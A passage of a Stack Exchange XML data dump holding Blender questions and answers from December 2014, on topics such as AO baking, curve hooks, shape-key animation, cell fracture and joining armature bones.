mirror modifier causing z-fighting" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21217" PostTypeId="2" ParentId="21109" CreationDate="2014-12-21T01:24:47.650" Score="2" Body="&lt;p&gt;I don't think there is any automatic way accompanied with Bevel modifier to operate like that. Some other manual solutions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you just want to triangulate, there is a &lt;strong&gt;Triangulate&lt;/strong&gt; modifier for you to use;&lt;/li&gt;&#xA;&lt;li&gt;You can also select all faces then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt; to convert them into Triangles;&lt;/li&gt;&#xA;&lt;li&gt;If you want to keep quads as many as possible, select all ngon faces only, by &lt;strong&gt;Select&lt;/strong&gt; &gt;  &lt;strong&gt;Select Face by Sides&lt;/strong&gt;, set it greater than 4 (As shown below), then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt; to convert all selected faces into triangles, then &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; to convert them into quads by tweaking &lt;em&gt;Max Angle&lt;/em&gt; in &lt;strong&gt;F6&lt;/strong&gt; panel. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KUlxy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-12-21T14:20:46.490" LastActivityDate="2014-12-21T14:20:46.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21218" PostTypeId="2" ParentId="21216" CreationDate="2014-12-21T01:48:20.490" Score="6" Body="&lt;p&gt;You can fix this by going into edit mode of your object, pressing A (select all), or only select the faces in question manually. Press W to open this menu&#xA;select remove doubles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fbJeR.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can change the distance of the vertices being merged together by using this input &#xA;field after pressing remove doubles &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6rnCR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-03-07T16:13:45.073" LastActivityDate="2015-03-07T16:13:45.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21220" PostTypeId="1" AcceptedAnswerId="21224" CreationDate="2014-12-21T02:49:23.783" Score="6" ViewCount="1506" Body="&lt;p&gt;I have created an object and I have assigned a bunch of materials, each with different diffuse colors (for use in dDo) to different parts of the model. What I can't figure out is why when I bake my Ambient Occlusion map I am getting color information in my AO Map. &lt;em&gt;Clear&lt;/em&gt; is the only item that I have checked in the Bake Settings. I am also getting the same behavior when I export my UV layout. I don't think I have ever seen this before and I am totally stumped. I don't have any vertex colors on the model. I have no textures in the scene either as I removed them by holding down Shift and unlinking the datablock for my texture bakes. I have cleared all those out and restarted Blender. All I have is my model and a whole bunch of materials with different diffuse colors, that I have assigned to different parts of the mesh. What would be causing such a thing to happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bBFDJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xswB1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9504" LastEditorUserId="241" LastEditDate="2020-05-27T13:31:24.597" LastActivityDate="2020-05-27T13:31:24.597" Title="Why does my Ambient Occlusion bake and Exported UV Layout have color from my materials?" Tags="&lt;uv&gt;&lt;texture-baking&gt;&lt;ambient-occlusion&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21223" PostTypeId="2" ParentId="21060" CreationDate="2014-12-21T07:13:16.420" Score="8" Body="&lt;p&gt;It is actually possible to do this with an array modifier, if you also use a curve. On the object that will serve as the dot in the dotted line, you need a modifier stack like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NkhVQ.png&quot; alt=&quot;modifier stack&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most important part is changing &quot;Fit Type&quot; to &quot;Fit Curve&quot;, and putting the curve modifier below the array (the inverse will cause it to make enough copies but leave them in a straight line).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this with the &quot;curve with hooked empties attached to cubes&quot; scenario from cegaton's answer, and got this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wjrmM.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to watch out for with this type of array, is that the series of copies always stops rather short of the curve; I guess it's erring on the side of never going over. You may need to move the end of the curve farther into the object to compensate.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2014-12-21T07:13:16.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21224" PostTypeId="2" ParentId="21220" CreationDate="2014-12-21T07:25:37.643" Score="5" Body="&lt;p&gt;In BI the diffuse color is used to color AO output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to avoid this is to enable &lt;em&gt;Normalized&lt;/em&gt; in the bake settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ORu37.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-12-21T07:25:37.643" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21225" PostTypeId="1" AcceptedAnswerId="21226" CreationDate="2014-12-21T07:53:18.370" Score="5" ViewCount="1015" Body="&lt;p&gt;I have a simple table leg I would like to fracture. The result should look like wood, i.e tall sharp splinters. How can I achieve this (with or without the cell fracture addon)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mqhx4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="599" LastEditDate="2014-12-21T10:55:25.870" LastActivityDate="2014-12-21T10:55:25.870" Title="How fracture an object into spinters like it's made of wood?" Tags="&lt;modeling&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21226" PostTypeId="2" ParentId="21225" CreationDate="2014-12-21T08:53:57.517" Score="8" Body="&lt;p&gt;The cell fracture addon allows tweaking of the &quot;aspect ratio&quot; of the shards via three scale values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6WBNt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that these seem to adjust the scale of the shards in a similar fashion to the way the mapping node works (adjusting the scale of the texture by adjusting the scale of the coordinates). These means that it works backwards from how you might think, smaller values make the shards larger in those directions (0 is infinity). So setting the Z value to 0 will make the shards infinitely tall (bounded by the original object of course). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the Z value to a very low number works okay for getting a splintery fracture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/AnotherCluelessIridescentshark&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://zippy.gfycat.com/AnotherCluelessIridescentshark.gif&quot; alt=&quot;Example animation&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.913" LastActivityDate="2014-12-21T08:53:57.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21228" PostTypeId="2" ParentId="21211" CreationDate="2014-12-21T11:52:55.157" Score="5" Body="&lt;p&gt;It's not deprecated, it also isn't documented very well yet, expect some trial and error to learn pynodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running the included pynodes template works for me, of note is that switching between nodetree types actually de-selects the active custom nodetree. (Probably worth reporting as a bug)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7zg0R.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I cannot create nodes here, you will notice the new button in place of the node tree name, this may show even if a nodetree exists, it just isn't active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IYViq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After making the nodetree active I can add nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ECAHs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-21T11:52:55.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21229" PostTypeId="2" ParentId="21204" CreationDate="2014-12-21T12:15:22.453" Score="2" Body="&lt;p&gt;For each point in a curve you can specify a radius, this value alters the radius of the bevel at that point of the curve. When a point has a radius of 0.0 there is no bevel at that point (or between two points of zero radius). While selected in object mode the curve is highlighted along the zero size area but deselecting it will hide that section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here we have a deselected curve with bevel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kS3fi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Selecting the curve highlights an extra part that wasn't visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NP9Hi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode you can see the radius value in the properties sidebar. You can also use &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; to adjust the radius in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mpcOS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-21T12:15:22.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21231" PostTypeId="1" CreationDate="2014-12-21T15:19:27.580" Score="7" ViewCount="2947" Body="&lt;p&gt;I'm quite colorblind and can't easily see the orange highlight behind the icon of a selected item in the outliner.  I've been all through the themes preferences but the color doesn't seem to come from the outlines sub-panel.  I would be very grateful for any guidance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g4eaX.jpg&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9607" LastEditorUserId="5705" LastEditDate="2014-12-21T15:27:20.057" LastActivityDate="2018-01-09T21:42:52.160" Title="How to change highlight color for icons in outliner panel" Tags="&lt;interface&gt;&lt;customization&gt;&lt;theme&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21232" PostTypeId="2" ParentId="21231" CreationDate="2014-12-21T16:03:49.040" Score="12" Body="&lt;p&gt;The colour in the outliner seems to be linked to the outline colour of the active object in the 3D view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change this colour in &lt;em&gt;User Preferences&gt; Themes&gt; 3D View&gt; Active Object:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AHxfE.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2014-12-21T16:14:01.407" LastActivityDate="2014-12-21T16:14:01.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21233" PostTypeId="1" AcceptedAnswerId="21234" CreationDate="2014-12-21T17:37:52.377" Score="16" ViewCount="11169" Body="&lt;p&gt;How can I animate the position of a Bézier curve segment as shown in the images below?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HSRCv.png&quot; alt=&quot;Beginning of animation&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HprKG.png&quot; alt=&quot;End of animation&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9609" LastEditorUserId="599" LastEditDate="2014-12-22T10:49:16.003" LastActivityDate="2016-07-05T16:22:29.543" Title="How to animate A curve segment?" Tags="&lt;animation&gt;&lt;bezier-curves&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21234" PostTypeId="2" ParentId="21233" CreationDate="2014-12-21T17:42:50.590" Score="29" Body="&lt;p&gt;You can 'Hook' the control point of the curve by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt; while in edit mode, with the point of the curve you want to move selected and choosing 'Hook to new object'. Adding the hook via this shortcut is just a quick way of setting up the hook modifier, which will be present on the curve after the shortcut is pressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will create an 'Empty' object which can be animated. The control point of the curve will be parented to the position of the empty and will follow the empty wherever you animate it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hevj2.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2016-07-05T16:22:29.543" LastActivityDate="2016-07-05T16:22:29.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21235" PostTypeId="2" ParentId="21233" CreationDate="2014-12-21T18:19:12.397" Score="17" Body="&lt;p&gt;To directly animate a curve's segment, without hooks or shapekeys, you can enable the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Animation/AnimAll&quot;&gt;AninAll&lt;/a&gt; addon. It allows you to create keyframes for each control point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LIHQ0.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-12-22T00:54:25.903" LastActivityDate="2014-12-22T00:54:25.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21236" PostTypeId="2" ParentId="5241" CreationDate="2014-12-21T19:31:18.383" Score="2" Body="&lt;p&gt;I'm not sure if this will help at all, but I stumbled onto this question looking to solve the same (if not seemingly the same) problem in my own project. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course the answer to my problem turned out to be quite simple. While yours may not be so, I figure it's worth checking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you cleared the parent from the bone you're trying to move?&lt;/p&gt;&#xA;" OwnerUserId="9610" LastActivityDate="2014-12-21T19:31:18.383" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21237" PostTypeId="1" AcceptedAnswerId="21238" CreationDate="2014-12-21T19:35:27.523" Score="7" ViewCount="797" Body="&lt;p&gt;I was looking at the compositor output nodes, and I saw the &lt;code&gt;Levels&lt;/code&gt; node. The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Output#Levels_Node&quot;&gt;wiki says&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Levels Node takes an image as an input, and can output a 1D value based on the levels of an image. It can read the input's Combined RGB, Red, Green, Blue, or Luminance channels.&#xA;  It can output a Mean value, or average of values, or a Standard deviation, which measures the diversity of values.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, the wiki says nothing on how to use such a node. So, how can I visualize the data the &lt;code&gt;Levels&lt;/code&gt; node outputs?&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-12-21T20:10:13.080" Title="How can the Levels compositor node be used?" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21238" PostTypeId="2" ParentId="21237" CreationDate="2014-12-21T20:02:29.093" Score="7" Body="&lt;p&gt;This node will output a single float value based on input image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i1ZDv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Mean is the &lt;a href=&quot;http://en.wikipedia.org/wiki/Arithmetic_mean&quot; rel=&quot;noreferrer&quot;&gt;average value&lt;/a&gt; of all image pixels in specified channel (combined, red, green, blue, luminance). It tells you how dark or bright the image is and can be used as such for setups that depend on how is input &quot;bright&quot; or &quot;dark&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;a href=&quot;http://en.wikipedia.org/wiki/Standard_deviation&quot; rel=&quot;noreferrer&quot;&gt;Std Dev&lt;/a&gt; is how much those pixel values differ from the mean. A low standard deviation indicates that the pixel values tend to be very close to the mean. A high standard deviation indicates that the values are spread out over a large range of values.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The visualization of such data is just a grey rectangle.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2014-12-21T20:10:13.080" LastActivityDate="2014-12-21T20:10:13.080" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21239" PostTypeId="1" CreationDate="2014-12-21T20:51:18.860" Score="20" ViewCount="86145" Body="&lt;p&gt;I have a simple armature that has three loose bones that I would like to join at one joint. Is there a way I can join these 3 into a single joint?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/10ed0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="2217" LastEditDate="2014-12-21T21:13:52.650" LastActivityDate="2019-07-23T14:33:19.117" Title="Join bones in a armature?" Tags="&lt;armature&gt;&lt;bones&gt;" AnswerCount="5" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21240" PostTypeId="2" ParentId="21239" CreationDate="2014-12-21T20:55:32.147" Score="2" Body="&lt;p&gt;It appears that this is not possible unless they are part of the same chain. As the Blender Wiki states: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can merge together several selected bones, &lt;strong&gt;as long as they form a chain&lt;/strong&gt;. Each sub-chain formed by the selected bones will give one bone, whose root will be the root of the root bone, and whose tip will be the tip of the tip bone.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For further information, read the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/rigging/armatures/bones/editing/bones.html#merge-bones&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;original documentation&lt;/strong&gt;&lt;/a&gt; on the Blender Wiki.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="12998" LastEditDate="2019-07-23T14:33:19.117" LastActivityDate="2019-07-23T14:33:19.117" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21241" PostTypeId="2" ParentId="21239" CreationDate="2014-12-21T21:04:20.560" Score="19" Body="&lt;p&gt;You can join multiple bones together. You will need to flip one of the bones around (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt;) so that there is a bone tail in the correct spot. Then just set the other two bones' parent to the flipped bone; and enable &lt;em&gt;Connected&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LqLoy.png&quot; alt=&quot;bone parent&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-12-21T21:04:20.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21242" PostTypeId="2" ParentId="21239" CreationDate="2014-12-21T21:06:49.770" Score="1" Body="&lt;p&gt;The snap functions can be used in &lt;em&gt;Edit Mode&lt;/em&gt; to set head or tail of the bones. &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt; &lt;em&gt;Cursor to selected&lt;/em&gt; and &lt;em&gt;Selection to cursor&lt;/em&gt; could be used to align them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can join bones like any other object using &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;J&lt;/kbd&gt; after that the Parent-Control in the bones properties will be available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XNjCw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-12-21T21:06:49.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21243" PostTypeId="1" CreationDate="2014-12-21T22:23:57.057" Score="2" ViewCount="238" Body="&lt;p&gt;This would be a sort of extension of this question: &lt;a href=&quot;https://blender.stackexchange.com/questions/1551/fractals-in-blender&quot;&gt;Fractals in Blender?&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was playing around in unity and found a tutorial for making fractal objects via C# scripts. I used the script from the tutorial and set up a scene to port to android and discovered the frame rate when looking at the fractal object was extremely low due to the vert count and number of individual objects. As I was unable to figure out how to merge the meshes properly in unity I figured I'd turn to blender with python scripts since I figured I could do the same thing in python and have seen how simple it is to copy and merge meshes via the array modifier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long story short, after trying to find scripting tutorials for blender 2.7 and getting lost in the API I started to wonder if what I'm trying to do is even possible. What is my end goal, you ask? I want to make a fractal landscape similar to what you might generate in mandelbulber, but finite in each direction. Fake 'infinite depth' is also unnecessary, as I'm fine with simply stopping recursion at a predefined depth. I want this landscape to be a single mesh that I can export to unity.&lt;/p&gt;&#xA;" OwnerUserId="9612" LastEditorUserId="9612" LastEditDate="2014-12-22T07:54:27.290" LastActivityDate="2014-12-22T08:20:42.107" Title="Might it be possible to use scripts in blender to do what Mandelbulber does?" Tags="&lt;python&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21244" PostTypeId="1" AcceptedAnswerId="21245" CreationDate="2014-12-21T22:30:37.187" Score="4" ViewCount="22564" Body="&lt;p&gt;I am trying to apply a texture to to my model, but it isn't working and I don't know what I am doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I UV Mapped the model and colored my texture to fit to the model. When I am in &lt;em&gt;Texture Paint&lt;/em&gt; mode the model looks fine, but when I switch to &lt;em&gt;Object Mode&lt;/em&gt; the model becomes white, and I can't figure out why...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is Texture Paint Mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dIfyl.png&quot; alt=&quot;Texture Paint&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is Object Mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jlrwe.png&quot; alt=&quot;Object Mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="9613" LastEditorUserId="599" LastEditDate="2014-12-22T00:50:16.087" LastActivityDate="2020-01-07T12:53:45.617" Title="Texture not appearing while in object mode" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21245" PostTypeId="2" ParentId="21244" CreationDate="2014-12-21T22:34:54.080" Score="8" Body="&lt;p&gt;Textures aren't displayed in &lt;em&gt;Solid view&lt;/em&gt; by default. You can either switch to a higher level shading view which displays textures, such as &lt;em&gt;textured view&lt;/em&gt; (&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;). Or you can enable &lt;em&gt;Textured solid&lt;/em&gt; in &lt;em&gt;3D view &gt; Properties region (&lt;kbd&gt;N&lt;/kbd&gt;) &gt; Shading&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/547W9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this doesn't affect the final render, only the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://archive.blender.org/wiki/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View_Options/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="86515" LastEditDate="2020-01-07T12:53:45.617" LastActivityDate="2020-01-07T12:53:45.617" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21246" PostTypeId="1" CreationDate="2014-12-21T23:35:33.397" Score="2" ViewCount="544" Body="&lt;p&gt;I was making a character with a manga like style, and It got to show the meshes of eye balls, eyebrow and eyelashes through the hair, but not throug the face skin or ny other parts of the mesh. Making an efect like in Zelda Wind Waker:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pxkFB.jpg&quot; alt=&quot;Eyes through hair&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a eyebrow and eyelashes are part of the mesh of hole body, because i need to make shapekeys on it. I tough this can be maked by adding diferent materials to this parts, Hair, Eyes and the rest of body&#xA;NOTE: The eye balls are separate objects, but I think I can join it on the main mesh if require it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gU1xk.jpg&quot; alt=&quot;this is my mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched, and got similar efects. but in case of Wind Waker the Link's eyes are just flat decals, in mine, eyeballs are 3D mesh.&#xA;Can someone show me a way to make this?&lt;/p&gt;&#xA;" OwnerUserId="8232" LastEditorUserId="8232" LastEditDate="2014-12-21T23:56:50.177" LastActivityDate="2014-12-21T23:56:50.177" Title="How to game-render a mesh through/behind other?" Tags="&lt;rendering&gt;&lt;mesh&gt;&lt;game-engine&gt;&lt;materials&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="8" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21247" PostTypeId="2" ParentId="21233" CreationDate="2014-12-22T00:24:42.523" Score="13" Body="&lt;p&gt;Another way you could do this is with a shape key:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pVzPL.gif&quot; alt=&quot;Demonstration of using a shape key to create animation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In Object Mode, select the &lt;em&gt;Data&lt;/em&gt; tab of the Properties panel. Under &lt;em&gt;Shape Keys&lt;/em&gt;, create two keys: the basis and a key for your animation.&lt;/li&gt;&#xA;&lt;li&gt;With the second key selected, enter Edit Mode and perform your transformations.&lt;/li&gt;&#xA;&lt;li&gt;Animate the &lt;em&gt;Value&lt;/em&gt; of the shape key as desired.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Neither this method nor the hook method is inherently superior to the other.&#xA;Here are some of the advantages and disadvantages of this method:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Advantage:&lt;/strong&gt; You can create more complex transformations. For example, you could turn a sphere into a gear by scaling out every other vertex, and then animate a single shape key.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Disadvantage:&lt;/strong&gt; You have less control. With a hooked empty, you can control the empty's location with all the standard animation tools&amp;mdash;including linking it to a path, using constraints, etc. With a shape key, you can only animate a factor value that linearly interpolates &quot;to&quot; and &quot;from.&quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Advantage:&lt;/strong&gt; You can easily combine multiple shape keys. For example, on a circular path, you could have a &quot;Gear&quot; shape key (as described above) and also a &quot;Pinch&quot; shape key that squishes the path along some axis. It's easy to combine these with shape keys, and less so with hooks (you would have to fiddle around with the &lt;em&gt;Force&lt;/em&gt; values).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As usual, you should know your options, consider the situation, and decide which method is best in that particular case.&lt;/p&gt;&#xA;" OwnerUserId="372" LastActivityDate="2014-12-22T00:24:42.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
